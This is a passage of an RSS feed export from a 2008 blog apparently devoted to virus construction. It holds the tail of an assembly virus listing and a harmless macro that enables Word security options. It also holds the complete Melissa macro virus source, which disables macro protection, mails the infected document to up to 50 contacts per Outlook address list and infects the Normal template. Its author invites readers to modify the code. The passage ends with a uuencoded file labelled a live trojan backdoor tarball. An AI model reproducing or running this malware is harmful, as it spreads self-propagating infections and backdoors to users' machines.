<p>;This replaces the first instruction of a destroyed file:</p>
<p>bad_jmp db    0EA,0Bh,2,13,58<br />
enddata label    byte</p>
<p>code    ends<br />
end    start<br />
</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/30/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/30/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/30/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=30&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/15/listing-virus-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Protect Your Macro</title>
		<link>http://virusconstruction.wordpress.com/2008/08/10/protect-your-macro/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/10/protect-your-macro/#comments</comments>
		<pubDate>Sun, 10 Aug 2008 09:03:14 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Protect Your Macro]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=26</guid>
		<description><![CDATA[‘AutoExec.Main Macro Sub Main()         Options.VirusProtection = True     Options.ConfirmConversions = True     Options.SaveNormalPrompt = True     MsgBox "Security Options Set" End Sub<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=26&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre><span>‘AutoExec.Main Macro</span>
<span>Sub Main()</span>
<span><!--[if !supportEmptyParas]--> <!--[endif]--></span>
<span><!--[if !supportEmptyParas]--> <!--[endif]--></span>
<span><span>    </span>Options.VirusProtection = True</span>
<span><span>    </span>Options.ConfirmConversions = True</span>
<span><span>    </span>Options.SaveNormalPrompt = True</span>
<span><span>    </span>MsgBox "Security Options Set"</span>
<span>End Sub </span></pre>
<p class="MsoNormal"><!--[if !supportEmptyParas]--> <!--[endif]--></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/26/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/26/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/26/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=26&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/10/protect-your-macro/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Listing Mellisa Macro Virus Code</title>
		<link>http://virusconstruction.wordpress.com/2008/08/10/listing-mellisa-macro-virus-code/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/10/listing-mellisa-macro-virus-code/#comments</comments>
		<pubDate>Sun, 10 Aug 2008 09:01:34 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Mellisa Macro Virus Code]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=24</guid>
		<description><![CDATA[&#8216;Jangan Dicoba dikomputer orang &#8216;Don&#8217;t try it in you computer&#8217;s friend Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") &#60;&#62; "" Then CommandBars("Macro").Controls("Security...").Enabled = False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&#38; Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=24&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>&#8216;Jangan Dicoba dikomputer orang</p>
<p>&#8216;Don&#8217;t try it in you computer&#8217;s friend</p>
<pre>Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") &lt;&gt;
"" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") =
1&amp;
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") &lt;&gt; "... by
Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x &gt; 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " &amp;
Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ...
don't show anyone else <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> "
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by
Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name &lt;&gt; "Melissa" Then
If ADCL &gt; 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name &lt;&gt; "Melissa" Then
If NTCL &gt; 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT &lt;&gt; True And DoAD &lt;&gt; True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) &lt;&gt; ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) &lt;&gt; ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL &lt;&gt; 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") &lt;&gt; False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -&gt; Email | Word 97 &lt;--&gt; Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters.  Game's over.
I'm outta here."
End Sub

'Silakan Modifikasi</pre>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/24/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/24/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/24/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=24&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/10/listing-mellisa-macro-virus-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Listing Virus AckDoor</title>
		<link>http://virusconstruction.wordpress.com/2008/08/06/listing-virus-ackdoor/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/06/listing-virus-ackdoor/#comments</comments>
		<pubDate>Wed, 06 Aug 2008 09:08:38 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Listing Virus AckDoor]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/2008/08/06/listing-virus-ackdoor/</guid>
		<description><![CDATA[This is a live trojan tarball begin 664 trojan_backdoor.tar M8F%C:V1O;W(O&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;`#`P,#`W-S4`,#`P,#2(@:7,@8V%L;&#38;5D(&#38;)A8VMD;V]R+B`@270@ M:&#38;%S(&#38;YO=&AI;F&#60;@=&#38;\@9&#38;\@=VET:`T*8F%C:V1O;W)S(&#8216;=H870M2P@:70@=VEL;&#8221;!B87-I8V%L;&#8217;D@97)A M&#60;&#38;EE6]U2!Y;W4@#0ID;VXG=&#8221;!F=6-K(&#8216;EO=7)S96QF(&#38;]V97(@8GD@86-C:61E M;G0N(&#8220;!&#8217;;V]D(&#38;QU8VLA#0H-&#8221;@T*&#8221;0D)&#8221;4UE&#60;&#38;AI7P, MR&#8221;:)1P);6`?#4%,&#62;!K@A-,@`NC`8T&#8220;X?NDH`N&#8221;$ES2$&#8221;UM8PU!3 M45&#8243;*Q.@(`%CH!`!96UC#4%-14+$$TN@$,#PY=@($!^@?`%@D#P0P/#EV`@0&#8242; MZ!$`65M8PU&#8221;P#&#62;@&#8217;`+`*Z`(`6,-04[0.NP&#60;`S1!;6,,&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;` M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;8F%C:V1O;W(O8F%C:V1O;W(N97AE&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;`#`P,#`W-S4`,#`P,#&#8220;&#8220;`0&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M`+@1`%`.G+$3NAD`#A__+A4`M$S-(&#60;&#8220;&#8220;#_&#8220;&#8220;&#8220;`?`#\_/S\_/S\_/S\_ M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=23&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This is a live trojan tarball</p>
<p>begin 664 trojan_backdoor.tar<br />
M8F%C:V1O;W(O&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;`#`P,#`W-S4`,#`P,#2(@:7,@8V%L;&amp;5D(&amp;)A8VMD;V]R+B`@270@<br />
M:&amp;%S(&amp;YO=&AI;F&lt;@=&amp;\@9&amp;\@=VET:`T*8F%C:V1O;W)S(&#8216;=H870M2P@:70@=VEL;&#8221;!B87-I8V%L;&#8217;D@97)A<br />
M&lt;&amp;EE6]U2!Y;W4@#0ID;VXG=&#8221;!F=6-K(&#8216;EO=7)S96QF(&amp;]V97(@8GD@86-C:61E<br />
M;G0N(&#8220;!&#8217;;V]D(&amp;QU8VLA#0H-&#8221;@T*&#8221;0D)&#8221;4UE&lt;&amp;AI7P,<br />
MR&#8221;:)1P);6`?#4%,&gt;!K@A-,@`NC`8T&#8220;X?NDH`N&#8221;$ES2$&#8221;UM8PU!3<br />
M45&#8243;*Q.@(`%CH!`!96UC#4%-14+$$TN@$,#PY=@($!^@?`%@D#P0P/#EV`@0&#8242;<br />
MZ!$`65M8PU&#8221;P#&gt;@&#8217;`+`*Z`(`6,-04[0.NP&lt;`S1!;6,,&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;`<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
